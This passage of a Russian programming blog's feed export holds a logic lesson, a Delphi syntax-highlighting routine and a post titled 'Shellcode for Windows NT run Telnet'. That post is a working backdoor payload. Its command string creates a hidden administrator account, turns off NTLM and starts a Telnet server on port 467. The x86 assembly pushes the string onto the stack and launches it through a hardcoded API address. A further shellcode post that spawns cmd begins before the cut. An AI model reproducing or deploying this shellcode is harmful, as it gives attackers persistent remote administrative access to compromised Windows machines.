/&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Четвертая логическая операция.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Логическое следование: ИМПЛИКАЦИЯ - связывает два простых логических выражения, из которых первое является условием , а второе – следствием из условия. Это было научное определение так сказать, а сейчас объясню, что все это значит = короче представьте вам дали решить задачу, и условия к этой задачи тоже дали(исходные данные), вам осталась подумать над решением. &lt;br /&gt;&lt;br /&gt;Рассмотрим эту ситуацию:&lt;br /&gt;Вам дали правильные исходные данные к задаче – решали правильно, значит решили правильно(истинно).&lt;br /&gt;Вам дали правильные исходные данные к задаче – но решали не правильно, значит решили неправильно(ложь).&lt;br /&gt;Вам дали неправильные исходные данные к задаче – но решали вы все равно правильно(чудо), значит решили правильно(истинна).&lt;br /&gt;Вам дали неправильные исходные данные к задаче – решали неправильно, значит решили неправильно(истинна). Спросите почему Истинна? А как вы могли решить если исходные данные не верны, значит в итоге истинна. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A B = С&lt;br /&gt;1__1= 1&lt;br /&gt;1__0 =0&lt;br /&gt;0__1= 1&lt;br /&gt;0__0= 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ложь тока в одном случае, когда думали не правильно.&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;&lt;br /&gt;Пятая логическая операция.&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Логическая равнозначность: ЭКВИВАЛЕНТНОСТЬ - определяет результат сравнения двух простых логических выражений А и В. Результатом ЭКВИВАЛЕНТНОСТИ является новое логическое выражение, которое будет истинным тогда и только тогда, когда оба исходных выражения одновременно истинны или ложны. Короче истина ЭКВИВАЛЕНТНА истине. А ложь ЭКВИВАЛЕНТНА лжи.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;A B = С&lt;br /&gt;1__1 = 1&lt;br /&gt;1__0 = 0&lt;br /&gt;0__1 = 0&lt;br /&gt;0__0 =1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Э то основные логические операции, через них можно выразить все остальные. Хотя ели сказать по секрету, то основных операции всего три&lt;br /&gt;&lt;br /&gt;Логическое отрицание - &lt;strong&gt;ИНВЕРСИЯ&lt;/strong&gt;&lt;br /&gt;Логическое умножение - &lt;strong&gt;КОНЪЮНКЦИЯ&lt;/strong&gt; &lt;br /&gt;Логическое сложение – &lt;strong&gt;ДИЗЪЮНКЦИЯ&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Через них выражаются и ИМПЛИКАЦИЯ, и ЭКВИВАЛЕНЦИЯ и остальные. В последующих статьях мы это разберем - а пока усвойте этот материал. И если усвоите, то вы на шаг приблизитесь к пониманию работы процессора и всего остального.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(c) Kerny&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-3549172533044740501?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/3549172533044740501/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/i.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3549172533044740501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3549172533044740501'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/i.html' title='От формул к процессору - I'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-8091904224121209360</id><published>2009-05-07T19:51:00.005+04:00</published><updated>2009-07-26T23:42:06.481+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Shellcode for Windows NT run Telnet</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Shellcode for Windows NT run Telnet&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;записываем в память строку:&lt;/p&gt;&lt;p&gt;&lt;span style="color:#666666;"&gt;%/k chcp 1251 &amp;amp;&amp;amp; net user kerny2 paswd /add &amp;amp;&amp;amp; net localgroup Администраторы kerny2 /add &amp;amp; sc config tlntsvr  start= auto &amp;amp;&amp;amp; tlntadmn config port=467 sec=-NTLM &amp;amp;&amp;amp; net start Telnet&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#666666;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Затем  вызываем командную строку и передаем ей эту строку, как параметр, в результате создан пользователь, и запущена служба &lt;strong&gt;telnet&lt;/strong&gt; на &lt;strong&gt;467&lt;/strong&gt; порту. В качестве памяти приходится юзать стек...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 00074656Eh&lt;br /&gt;&lt;/p&gt; &lt;strong&gt;&lt;span style="color:#333399;"&gt;push &lt;/span&gt;&lt;/strong&gt;06C655420h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 074726174h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push &lt;/span&gt;&lt;/strong&gt;073207465h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06E202626h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0204D4C54h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 04E2D3D63h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 065732037h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 036343D74h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0726F7020h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push &lt;/span&gt;&lt;/strong&gt;06769666Eh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06F63206Eh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06D646174h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06E6C7420h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 02626206Fh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 074756120h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 03D747261h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 074732072h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 07673746Eh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06C742067h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 069666E6Fh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 063206373h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 020262620h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt;  06464612Fh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 020326E72h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0656B20FBh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0F0EEF2E0h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0F0F2F1E8h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0EDE8ECE4h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0C0207075h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06F72676Ch&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 061636F6Ch&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 02074656Eh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 020262620h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06464612Fh&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 020373164h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06E657320h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0326E7265h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06B207265h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 073752074h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0656E2026h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 026203135h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 032312070h&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 063686320h&lt;br /&gt;&lt;p&gt; &lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0206b2f25h&lt;br /&gt;&lt;/p&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;mov&lt;/span&gt;&lt;/strong&gt; eax,esp&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt;  0&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0646D63h         &lt;em&gt;&lt;span style="color:#666666;"&gt;;cmd в стек&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;pop&lt;/span&gt;&lt;/strong&gt; ecx&lt;br /&gt;&lt;span style="color:#333399;"&gt;&lt;strong&gt;mov&lt;/strong&gt;&lt;/span&gt; [esp],ecx&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; esp&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;pop&lt;/span&gt;&lt;/strong&gt; ebx&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 06E65706Fh    &lt;em&gt;&lt;span style="color:#666666;"&gt;;open в стек&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;pop&lt;/span&gt;&lt;/strong&gt; ecx&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;mov&lt;/span&gt;&lt;/strong&gt; [esp],ecx&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; esp&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;pop&lt;/span&gt;&lt;/strong&gt; ecx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 5&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; eax&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; ebx&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; ecx&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;push&lt;/span&gt;&lt;/strong&gt; 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#333399;"&gt;call&lt;/span&gt;&lt;/strong&gt; 7CA40F40&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;Если у кого есть более эффективный код (&lt;em&gt;уверен он есть&lt;/em&gt;), я рад буду на него посмотреть.&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-8091904224121209360?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/8091904224121209360/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/chellcode-for-windows-nt-run-telnet.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8091904224121209360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8091904224121209360'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/chellcode-for-windows-nt-run-telnet.html' title='Shellcode for Windows NT run Telnet'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-4085649619942460230</id><published>2009-05-07T19:19:00.008+04:00</published><updated>2009-05-07T19:47:29.684+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Подсветка синтаксиса RichEdit</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Подсветка синтаксиса RichEdit&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;RichEdit delphi&lt;/strong&gt; процедура подсветки синтаксиса  &lt;strong&gt;assembler &lt;/strong&gt;диалект&lt;strong&gt; masm:&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;procedure&lt;/span&gt;&lt;/strong&gt; masmsint;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;const&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;  word: &lt;strong&gt;&lt;span style="color:#000099;"&gt;array&lt;/span&gt;&lt;/strong&gt;[&lt;span style="color:#3333ff;"&gt;1&lt;/span&gt;..&lt;span style="color:#3333ff;"&gt;47&lt;/span&gt;] &lt;strong&gt;&lt;span style="color:#000099;"&gt;of string&lt;/span&gt;&lt;/strong&gt;[&lt;span style="color:#3333ff;"&gt;15&lt;/span&gt;] = (&lt;span style="color:#3333ff;"&gt;'if','then','else','push','end','jmp','jnz',&lt;br /&gt;    'CMP','test','repeat','call','JE','JZ','JNE','ret','JS','JNS',&lt;br /&gt;    'JP','JPE','JNP','JOP','JO','JNO','JB','JNAE',&lt;br /&gt;    'JNB','mov','in','and','or','xor','not','JAE','JBE','JNA','JNBE',&lt;br /&gt;    'JNA','JA','JL','JNGE','JNL','JGE','JLE','JNG','JNLE','JG','JNA'&lt;/span&gt;);&lt;/p&gt;&lt;p&gt;&lt;br /&gt;  includ: &lt;strong&gt;&lt;span style="color:#000099;"&gt;array&lt;/span&gt;&lt;/strong&gt;[&lt;span style="color:#3333ff;"&gt;1&lt;/span&gt;..&lt;span style="color:#3333ff;"&gt;19&lt;/span&gt;] &lt;strong&gt;&lt;span style="color:#000099;"&gt;of string&lt;/span&gt;&lt;/strong&gt;[&lt;span style="color:#3333ff;"&gt;15&lt;/span&gt;] =(&lt;span style="color:#3333ff;"&gt;'includelib','include','.code','invoke','SIZEOF','.data','db',&lt;br /&gt;    'dd','dw','OFFSET','.ENDW','LOCAL','.If','.elseif','proc','option','endp','.model','.while'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;  number: &lt;span style="color:#000099;"&gt;&lt;strong&gt;array&lt;/strong&gt;&lt;/span&gt;[&lt;span style="color:#3333ff;"&gt;1&lt;/span&gt;..&lt;span style="color:#3333ff;"&gt;17&lt;/span&gt;] &lt;span style="color:#000099;"&gt;&lt;strong&gt;of string&lt;/strong&gt;&lt;/span&gt;[&lt;span style="color:#3333ff;"&gt;30&lt;/span&gt;] = (&lt;span style="color:#3333ff;"&gt;'0','1','2','3','4','5','6',&lt;br /&gt;    '7','8','9','.','.386','kernel32.lib','user32.lib','windows.inc','kernel32.inc','user32.inc'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;  burder: &lt;strong&gt;&lt;span style="color:#000099;"&gt;array&lt;/span&gt;&lt;/strong&gt;[&lt;span style="color:#3333ff;"&gt;1&lt;/span&gt;..&lt;span style="color:#3333ff;"&gt;13&lt;/span&gt;] &lt;span style="color:#000099;"&gt;&lt;strong&gt;of string&lt;/strong&gt;&lt;/span&gt;[&lt;span style="color:#3333ff;"&gt;15&lt;/span&gt;] = (&lt;span style="color:#3333ff;"&gt;'flat','stdcall','casemap','none','C','BYTE','?',&lt;br /&gt;    'addr','\',',','&lt;','&gt;','&lt;&gt;'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;  registry: &lt;span style="color:#000099;"&gt;&lt;strong&gt;array&lt;/strong&gt;&lt;/span&gt;[&lt;span style="color:#3333ff;"&gt;1&lt;/span&gt;..&lt;span style="color:#3333ff;"&gt;22&lt;/span&gt;] &lt;span style="color:#000099;"&gt;&lt;strong&gt;of string&lt;/strong&gt;&lt;/span&gt;[&lt;span style="color:#3333ff;"&gt;53&lt;/span&gt;] = &lt;span style="color:#3333ff;"&gt;('eax','ebx','ecx','EDX','ESP','EBP','ESI',&lt;br /&gt;    'EDI','EIP','AX','BX','CX','DX','SI','DI','BP','SP','CS','DS','ES','SS','CS'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;var&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;  k,k1,i: &lt;strong&gt;&lt;span style="color:#000099;"&gt;integer&lt;/span&gt;&lt;/strong&gt;;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;begin&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;  for i:=1 to length(word) do&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;    begin&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;      k:=-length(word[i]);&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;      repeat&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;         k:=RichEdit1.FindText(word[i],k+length(word[i]),&lt;br /&gt;           length(RichEdit1.Text)-k-length(word[i]),[stWholeWord]);&lt;br /&gt;        RichEdit1.SelStart:=k;&lt;br /&gt;  RichEdit1      .SelLength:=length(word[i]);&lt;br /&gt;  RichEdit1      .SelAttributes.Style:=[fsBold];&lt;br /&gt;  RichEdit1      .SelAttributes.Color:=clblue;&lt;br /&gt;      &lt;strong&gt;&lt;span style="color:#000099;"&gt;until&lt;/span&gt;&lt;/strong&gt; k &lt;0;&lt;span style="color:#000099;"&gt;    &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;end;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      &lt;strong&gt;&lt;span style="color:#000099;"&gt;for&lt;/span&gt;&lt;/strong&gt; i:=1 &lt;strong&gt;&lt;span style="color:#000099;"&gt;to&lt;/span&gt;&lt;/strong&gt; length(includ) &lt;span style="color:#000099;"&gt;&lt;strong&gt;do&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;    begin&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;      k:=-length(includ[i]);&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;      repeat&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;        k:=RichEdit1.FindText(includ[i],k+length(includ[i]),&lt;br /&gt;           length(RichEdit1.Text)-k-length(includ[i]),[stWholeWord]);&lt;br /&gt;  RichEdit1      .SelStart:=k;&lt;br /&gt;  RichEdit1      .SelLength:=length(includ[i]);&lt;br /&gt;  RichEdit1      .SelAttributes.Style:=[fsBold];&lt;br /&gt;  RichEdit1      .SelAttributes.Color:=clGradientActiveCaption;&lt;br /&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;      until&lt;/strong&gt;&lt;/span&gt; k &lt;0;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;&lt;strong&gt;end;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;&lt;span style="color:#000099;"&gt;     for&lt;/span&gt;&lt;/strong&gt; i:=1 &lt;strong&gt;&lt;span style="color:#000099;"&gt;to&lt;/span&gt;&lt;/strong&gt; length(number) &lt;strong&gt;&lt;span style="color:#000099;"&gt;do&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;    begin&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;      k:=-length(number[i]);&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;      repeat&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;        k:=RichEdit1.FindText(number[i],k+length(number[i]),&lt;br /&gt;           length(RichEdit1.Text)-k-length(number[i]),[stWholeWord]);&lt;br /&gt;        RichEdit1.SelStart:=k;&lt;br /&gt;        RichEdit1.SelLength:=length(number[i]);&lt;br /&gt;        RichEdit1.SelAttributes.Color:=clred;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;      until&lt;/span&gt;&lt;/strong&gt; k &lt;0;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;end;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;          for&lt;/span&gt;&lt;/strong&gt; i:=1&lt;strong&gt;&lt;span style="color:#000099;"&gt; to&lt;/span&gt;&lt;/strong&gt; length(burder) &lt;span style="color:#000099;"&gt;&lt;strong&gt;do&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;    begin&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;      k:=-length(burder[i]);&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;      repeat&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;        k:=RichEdit1.FindText(burder[i],k+length(burder[i]),&lt;br /&gt;           length(RichEdit1.Text)-k-length(burder[i]),[stWholeWord]);&lt;br /&gt;        RichEdit1.SelStart:=k;&lt;br /&gt;        RichEdit1.SelLength:=length(burder[i]);&lt;br /&gt;        RichEdit1.SelAttributes.Style:=[fsBold];&lt;br /&gt;        RichEdit1.SelAttributes.Color:=clNavy;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;      until&lt;/span&gt;&lt;/strong&gt; k &lt;0;&lt;/p&gt;&lt;p&gt;&lt;strong&gt; &lt;span style="color:#000099;"&gt;end;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;              for&lt;/span&gt;&lt;/strong&gt; i:=1 &lt;span style="color:#000099;"&gt;&lt;strong&gt;to&lt;/strong&gt;&lt;/span&gt; length(burder) &lt;span style="color:#000099;"&gt;&lt;strong&gt;do&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;    begin&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;      k:=-length(registry[i]);&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;      repeat&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;        k:=RichEdit1.FindText(registry[i],k+length(registry[i]),&lt;br /&gt;           length(RichEdit1.Text)-k-length(registry[i]),[stWholeWord]);&lt;br /&gt;        RichEdit1.SelStart:=k;&lt;br /&gt;        RichEdit1.SelLength:=length(registry[i]);&lt;br /&gt;        RichEdit1.SelAttributes.Style:=[fsBold];&lt;br /&gt;        RichEdit1.SelAttributes.Color:=clSkyBlue;&lt;br /&gt; &lt;strong&gt;&lt;span style="color:#000099;"&gt;     until&lt;/span&gt;&lt;/strong&gt; k &lt;0;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000099;"&gt;    &lt;strong&gt;end;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;end;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;Данный код может послужить основой подсветки синтаксиса для других языков программирования...&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-4085649619942460230?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/4085649619942460230/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/05/richedit.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4085649619942460230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4085649619942460230'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/05/richedit.html' title='Подсветка синтаксиса RichEdit'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-2123601470957997601</id><published>2009-05-05T13:31:00.007+04:00</published><updated>2009-07-26T23:41:41.622+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Shellcode for Windows NT</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;Shellcode for Windows NT&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Шел - код, запускающий cmd, с правами уязвимой программы(&lt;em&gt;26 байт&lt;/em&gt;):&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;asm:&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;span 